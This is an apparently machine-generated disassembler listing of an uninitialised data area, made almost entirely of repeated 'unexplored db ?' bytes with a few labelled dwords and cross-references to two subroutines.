unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored dword_807B82C dd ? ; DATA XREF: sub_805A11C+42o ; sub_805A11C+D5r ... unk_807B830 db ? ; unexplored ; DATA XREF: sub_805A11C+47o db ? ; unexplored db ? ; unexplored db ? ; unexplored dword_807B834 dd ? ; DATA XREF: sub_805A11C+52r ; sub_805AF5C+51w db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? ; unexplored db ? 